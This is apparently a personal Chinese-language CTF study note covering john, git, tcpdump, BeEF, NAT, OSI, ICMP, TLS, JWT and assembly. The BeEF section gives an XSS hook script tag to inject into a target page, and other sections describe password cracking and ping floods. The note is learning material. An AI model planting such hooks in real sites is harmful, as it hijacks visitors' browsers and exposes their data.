---
# System prepended metadata

title: 感覺會有用的工具

---

# 感覺會有用的工具
## 指令們
### john
是拿來爆破密碼用的，kali內建有，超讚
它有4種模式：
簡單模式Single crack mode
字典模式Wordlist crack mode
窮舉模式Incremental mode
外部模式External mode

簡單模式是以帳號名稱或檔案名稱去推算破解的，成功率不高但簡單（？？）
字典模式是以內部字典檔比對去decode，成功率比上面那個高
窮舉模式顧名思義窮舉:D，成功率最高但時間成本龐大
外部模式就是自己寫規則，所以成功率要看寫規則的使用者寫的規則如何（？）

用法：
john [OPTIONS] [PASSWORD-FILES]

我覺得可以參考的實作範例文
https://ithelp.ithome.com.tw/m/articles/10321935
### git
今天來介紹酷酷的git
kali也有內建

git是分散式的版本控制系統，專門用來記錄你的code之類的版本更動(比如新增 刪除)，不一樣的是因為它只會紀錄更動的地方，所以比所有版本都下載下來一一比對省時省力省空間(幹話XD)

使用git後會出現隱藏目錄`.git`，通常CTF的題目都是利用`.git`找flag，如果以後要上傳專案記得要把權限關掉以防被駭客偷家
不過剛剛看了一下這個發現還有一個跟Git很像的Svn，詳見
https://drivertom.blogspot.com/2021/08/git.html
裡面講的看起來很強但我看不懂，有時間再研究(好廢喔)

來講解題常用指令:D
git clone [URL] -- 把整份專案下載到你電腦裡
~~題外話我英文爛到我剛去查才知道clone是克隆~~

git log -- 查看歷史提交紀錄
要注意的是最上方的是最近一次提交
git log --stat -- 如果想看詳細一點可以用這個


git checkout [File] -- 回復前次存檔
git restore [file] -- 也是回復前次存檔
但這兩個不一樣的是restore會恢復被刪除的檔案，checkout不會

git branch -- 這是找本地分支的
git branch -a --這是找遠端分支的
git checkout [branch] --切換到指定分支

git reset --mixed [commit] -- 回退到之前的版本，但檔案放在工作目錄
git reset --soft [commit] -- 檔案放在工作目錄跟暫存區
git reset --hard [commit] -- 都不放(wtf這個我有看沒懂)
然後[commit]的部分，一個^回退一次，^^兩次，以此類推
或是可以直接[commit]~n，指定切到n次前的版本
reset部分參考這個
https://gitbook.tw/chapters/using-git/reset-commit

picoCTF例題：Time Machine, Commitment Issues, Collaborative Development, Blame Game
### tcpdump
tcpdump

如果哪天在linux下載的檔案是pcap但又懶得在自己電腦下載就可以用的linux指令w
跟wireshark一樣，它們都是看封包的工具，只是tcpdump是用指令看；wireshark是直接圖形化
丟一些常用的指令
tcpdump                         預設擷取封包
tcpdump -i eth0                 指定網卡 eth0
tcpdump -i any                  擷取所有網卡的封包
tcpdump -c 100                  只擷取 100 筆封包
tcpdump -n                      不解析主機名稱
tcpdump -nn                     不解析主機名稱與埠號
tcpdump tcp                     只看 TCP 封包
tcpdump udp                     只看 UDP 封包
tcpdump icmp                    只看 ICMP（ping）
tcpdump port 80                 只看 HTTP 封包
tcpdump tcp port 443            只看 HTTPS 封包
tcpdump udp port 53             只看 DNS 查詢封包
tcpdump src 192.168.1.100       來源 IP 為該地址
tcpdump dst 8.8.8.8             目的 IP 為該地址
tcpdump host 10.0.0.5           包含來源或目的為該地址

eth0, eth1, eth2...之類的是網卡1, 網卡2, 網卡3的意思
沒有-n跟-nn的話，它會預設把IP用DNS查詢主機名稱跟埠號
然後-n跟-nn的用意其實是因為解析這些東西的話結果不一定是正確的，然後速度還會變慢，直接關掉比較省事

那用tcpdump有什麼好處呢？當你的.pcap太大，直接丟wireshark全部分析可能要跑很久，但如果你用tcpdump的話就可以直接抓特定的封包 (不過我跟wireshark也不太熟搞不好它也可以分析特定封包就好w) 。
喔然後wireshark其實有陽春版的linux指令，裝wireshark的資料夾有一個是tshark.exe，它也可以拿來分析封包，但就真的很陽春XD

底下是我覺得不錯的實作參考:D因為我覺得我寫得很抽象
https://www.jinnsblog.com/2020/09/linux-tcpdump-network-traffic-tutorial.html

### BeEF
BeEF(Browser Exploitation Framework)
名字看起來很好吃的滲透工具，但很強大
利用xss(跨站腳本攻擊)漏洞
大家都說kali有內建但我的好像沒有，開權限裝beef-xss就好
然後用法也很簡單，開權限執行
sudo beef-xss
之後會看到一大串東西，然後有那個localhost的可以連上去，那是後端，滲透完獲取的資料都可以在那邊看到
然後他會叫你重設密碼，預設都是beef/beef，所以連上去後端的用戶名是beef，密碼是你自己設定的
之後到你想滲透的網頁，F12後丟這行
```
<script src='http://127.0.0.1:3000/hook.js'></script>
```
最後回去後端看，就會發現有很多酷東西(？)
詳細可以看這裡因為我一時找不到好的網頁讓我測試XD
https://blog.csdn.net/THMAIL/article/details/107739266
## 影片
### 逆向工程播放清單
https://www.youtube.com/watch?v=VtDN9Eh9nt4&list=PL7bgZHZRy3pKfyrcMHCFCgvoNQ1VYKz2c
### iPAS資安初級證照播放清單
https://www.youtube.com/watch?v=mVLll3BCCy8&list=PLr1HiXzr31qyUWPPvnOKJiIG-whkkJFSh

## Networking
### NAT
剛剛在看基礎網路安全的時候看到了一個熟悉的東西：NAT
NAT全名其實是Network Address Translation，中文是網路位址轉譯
~~說實話英文全名好像更容易讓人看懂~~

為什麼會熟悉是因為用VirtualBox裝kali要自己新增一個NAT網路
![image](https://hackmd.io/_uploads/H1YDn1UMgx.png)

那它的主要目的就是把你的私有IP位址轉換成外部公有IP，讓你的內部設備可以和網際網路通信。
可能會有個疑問：用NAT幹嘛？
現在基本上還是在用IPv4，但IPv4只有2^32個位址數量，所以其實地址已經快被用光了。為了解決這個問題，所以用NAT把很多個私有IP轉成一個公有IP。
~~啊但是現在其實有IPv6所以被淘汰指日可待了~~

簡單介紹幾個常見NAT：
SNAT，全名Source Network Address Translation
就是把私有IP轉成公有IP

DNAT，全名Destination Network Address Translation
其實是SNAT的相反，把公有IP轉成指定的伺服器IP，架伺服器很常用

NAPT，全名Network Address Port Translation
也叫做PAT，Port Address Translation
比上面只轉IP多轉了一個Port，就可以避免用上面兩個結果Port重複的問題，比較萬用

以上三個都可以支援傳輸層協定，至於為什麼特別講是因為Basic NAT不能:)

不過用NAT不保證安全，它不能防止暴力攻擊

### OSI
事情是這樣的我本來想寫ICMP然後我發現我有點忘記OSI模型
所以今天來介紹OSI模型:D

OSI, 全稱:Open System interconnection Model, 中文叫做開放式系統互聯模型，是透過ISO/IEC 7498標準制定的酷東西
btw我在看維基的時候看到X.200建議我想說那是什麼，結果就是上面的ISO/IEC 7498標準XD

這個模型分七層：
7 -- 應用層（Application Layer） 
6 -- 表現層（Presentation Layer） 
5 -- 會議層（Session Layer） 
4 -- 傳輸層（Transport Layer） 
3 -- 網路層（Network Layer） 
2 -- 資料連結層（Data Link Layer） 
1 -- 實體層（Physical Layer） 

當我們開啟應用程式或網頁，會先通過應用層跟一些酷酷的協定們傳送請求給伺服器。
稍微放一下常見的協定：
- HTTP：用於網頁瀏覽（超文本傳輸協定）
- HTTPS：加密的HTTP，用於安全的網站連線
- FTP：檔案傳輸協定，用來上傳/下載檔案
- SFTP：加密的FTP（透過SSH傳輸）
- SMTP：用於寄送電子郵件
- POP3：接收電子郵件，下載後從伺服器刪除
- IMAP：接收電子郵件，可同步多裝置
- DNS：將網址轉換成 IP 位址
- SSH：安全的遠端登入
- DHCP：自動分配IP位址給裝置
- SNMP：用來監控與管理網路設備

HTTPS跟SFTP之類支援加密的應用層協定，其實不是在應用層就加密好了，這個時候要進到下一層一一表現層。
表現層主要是跟資料的表現有關 (廢話XD) ，負責把要回傳的資料轉換成一樣的編碼系統跟格式之類的，然後上面提到的應用層協定，其實就是在這層透過其他協定加密好的。
簡單介紹一下：
HTTPS是HTTP透過TLS加密的
SFTP是FTP透過SSL加密的
喔然後SFTP跟FTPS截然不同，一個是SSL一個是SSH
不過TLS跟SSL這些加密協定好像大部分被歸類在傳輸層或應用層，就很玄

接下來來看一下好像沒什麼存在感的會議層，功能顧名思義就是線上開會之類需要線上連線的時候會用到。會議層負責認證, 授權以及會議恢復。
認證跟授權其實就顧名思義驗證身分跟給權限XD
會議恢復是什麼呢？主要是會議檢查點的部分，會議檢查點類似遊戲存檔，你會議不小心中斷的話，會議層會由會議檢查點恢復會議。
~~但我覺得有點抽象我有時間再深入研究~~

再來是比較熟悉的傳輸層(？)對就是TCP跟UDP之類的傳輸協定或是上面講到的加密協定在的地方。
傳輸層也是很顧名思義就是用來傳輸資料的XD找到對接的埠口傳輸資料，然後控制流量避免壅塞。
在這層常見的協定：
TCP
UDP
SPX
有機會再來講(？)

再往下就是網路層了，哭啊我終於寫到ICMP在的地方了
網路層主要負責不同網路之間的資料傳輸，路由跟定址
它會在發送裝置把傳輸層資料分解成封包再在接受裝置把封包組合成原本的樣子
常見協定：
IP (之前講過的NAT網路的IPv4跟IPv6)：定下目的地位址
ICMP：傳遞錯誤訊息跟網路情況
IGMP：管理多播群組
IPsec：幫IP封包加密跟驗證

倒數第二層是資料連結層，主要是處理區域跟廣域網路中的資料鏈路連接
又分為兩個子層，分別是媒介訪問控制(MAC)跟邏輯鏈路控制(LLC) 
那為什麼要控制媒介訪問呢？因為在同一個網路中是點到點的傳輸，很容易發生媒介訪問的爭用跟衝突

那這層具體怎麼處理資料的鏈路連接呢？答案是將實體層的數位訊號封裝成資料訊框，讓接收的裝置接收的同時也能透過上面兩個子層去確認來源
這兩個子層的主要功能之後再補上XD

最後一層就是實體層了，最純樸的一層(?)
它就是我們平時會看到的硬體部分，就不多贅述了

### ICMP
ICMP(Internet Control Message Protocol)
中文叫網際網路控制訊息協定

那ICMP主要做什麼？我們先來說文解字一下(？)
首先我們知道IP是網際網路協定，那ICMP就是在IP中傳送控制訊息。
雖然上一篇才講過OSI但ICMP在網路層喔:D

只要是有連線到網路的裝置，都能處理ICMP訊息
來具體講一下傳送的是哪些訊息
ICMP可以傳送錯誤報告，顧名思義就是網路傳送資料如果出問題，ICMP就會回報給原始主機。
比較常見的錯誤報告之一：TTL(Time To Live)過期
TTL中文叫做存留時間，不過這篇都只講值的部分，不講時間
TTL是以躍點數來做計算
例如我今天把躍點數設定為4，那我傳送到一個路由器，TTL值就會-1。如果我傳送到某個路由器，TTL歸0，路由器就會把那個封包丟掉，ICMP就會傳送TTL過期訊息給原始主機。
為什麼要用TTL呢？今天如果路由器設定錯誤，讓封包一直在特定的路由器流浪，要傳送其他封包就可能會有壅塞問題。

除了TTL之外，使用UDP協定會有一定風險遺失封包，如果遺失封包的話，ICMP就會傳送錯誤訊息給原始主機。
~~雖然ICMP跟UDP一樣也是不可靠協定就是了~~

再來是診斷的部分
ping應該是耳孰能詳的指令了XD它其實就是透過ICMP的Echo request跟Echo reply，去測試和目標裝置的網路連線。
traceroute我記得上Networking的時候有講，顧名思義就是追蹤封包經過的路由器們，它是利用裝有TTL特殊訊息的封包去傳送，再接收過期訊息，去得到封包經過了哪些路由器。

跟資安有關的ICMP：
攻擊手法：ICMP Ping泛洪攻擊
這個攻擊會造成DoS，攻擊者會在短時間傳送多個不同的ICMP回應請求，使得接收者進行不重複回應，然後處理其他傳送者的回應就會減緩或延遲。
那該怎麼防範呢？可以用ICMP限制流量或直接封鎖特定類型的流量，聽說還有ICMP監控工具可以看有沒有未知裝置，找時間來研究一下:D

ICMP封包有固定結構：
Header
![image](https://hackmd.io/_uploads/HybLp36Ggg.png)
Data

Type的話其實很多種
這部分全打出來有點麻煩w只打幾個上面有提到的
0-- Echo reply
8-- Echo request
11- 逾時(code0 -- TTL, code1 -- 分片重組)

code用來說明錯誤具體原因是什麼，有些Type只有0，有些Type有0~15

checksum就是Header數字不包含自己的和

Rest of Header看類型而定，可能會有識別碼跟序號或是出錯片段之類的

Data就是要丟的資料

### TLS
TLS
因為最近Google取消中華電信的TLS的預設信任，所以今天來講TLS
因為剛剛看cloudflare它還有提到CDN，所以先講一下CDN
CDN(Content Delivery Network)內容傳遞網路
它是一組在地理上分散的伺服器，這樣子使用者要連線就不用因為距離你網站的伺服器很遠，導致RTT(Round-Trip time, 往返時間)變高
然後CDN會使用快取取代傳統代管服務，去改善網站的效能
總之大概是這樣然後可以一定程度防禦DDos

TLS(Transport Layer Security)
TLS握手就是讓客戶端跟你想去的網站的伺服器確認彼此身份，然後交換密鑰，接下來的資料傳輸就會被加密，確保不會被第三方竊取。
HTTPS跟HTTP就是差在有沒有用TLS加密

TLS1.3之前的基本步驟是這樣：
1.Client Hello：瀏覽器發送請求，告訴伺服器它支援的加密方式
2.Server Hello：伺服器回應，選擇加密方式，提供SSL/TLS憑證
3.憑證驗證：瀏覽器檢查憑證是否合法，如果有問題就會阻止連線
4.密鑰交換：雙方用密碼學生成一組共享的加密金鑰，比如RSA之類的
5.Finished：握手完成，之後傳送的資料都使用4.的加密金鑰加密

TLS1.3簡化了這個流程，少了一些來回的步驟，連線速度更快，也淘汰了一些舊的加密演算法
主要改了這些，粗略地講一下：
1.3之前的版本RTT都是2-RTT，但1.3減少到1-RTT，詳細可以看最後的連結
把RSA, SHA-1這種不安全的演算法替換掉，改成ECDHE(橢圓曲線密鑰交換)
把握手過程中的伺服器憑證加密，避免被監聽
如果是連線恢復交握，直接被改善到0-RTT，TLS還沒握完就可以先發送請求了(不過會有其他風險比如replay attack，所以需要做其他防護)

如果想看詳細一點可以看這個:D
https://hkt999.medium.com/tls-1-3-quic-%E8%88%87-http-3-%E5%B0%8D%E6%95%88%E8%83%BD%E7%9A%84%E6%94%B9%E5%96%84-a37b2ddcfc95
### JWT
JWT(Json Web Token)
感覺就會有水題把flag放payload
今天先簡單介紹一下整體明天再細講詳細的簽章過程XD(我也在水)
是一種用來驗證身分的機制，在API、前後端分離的網站很常見。它跟session的差別在一個主要用前端驗證；一個主要用後端
JWT由三部分組成：
Header.Payload.Signature

Header的話主要是講它是用什麼演算法簽章
Payload就是放一些資料比如你的id, 權限, Token發行的時間跟到期時間
Signature是簽章結果，用來驗證Token有沒有被改過 

然後Header跟Payload都是用base64url編碼，進官網就有decode的工具，所以開頭才會那樣講
## 練習網站
今天來介紹一個練習網站：
Hacker101 
https://www.hacker101.com/
雖然美術部分好像沒有picoCTF強但是水題比例應該比picoCTF低 (？)
## 我不知道怎麼分類
### 組合語言
組合語言
反正就是跟逆向工程很有關的酷東西
以防我忘記怎麼讀組語&之前看的逆向工程入門JE, JNE之類的我其實分不太清楚，所以今天來介紹組合語言的一些東西:D

超簡單介紹：
組語就是高階程式語言比如C, C++, Python, Java的編譯後語言，然後組語再組譯的話，就會變成0跟1的機器語言。
簡單圖解一下大概長這樣：
![image](https://hackmd.io/_uploads/BJ5NV6GMee.png)

我本來想說講點組語的指令結果找參考發現別人列得超詳細🤡，直接上連結(超廢)
觀念可以看這個：
https://hackmd.io/@JasonVerse/SyRuZwrR2
更詳細指令可以看這個：
https://hackmd.io/@mushding/assembly_language
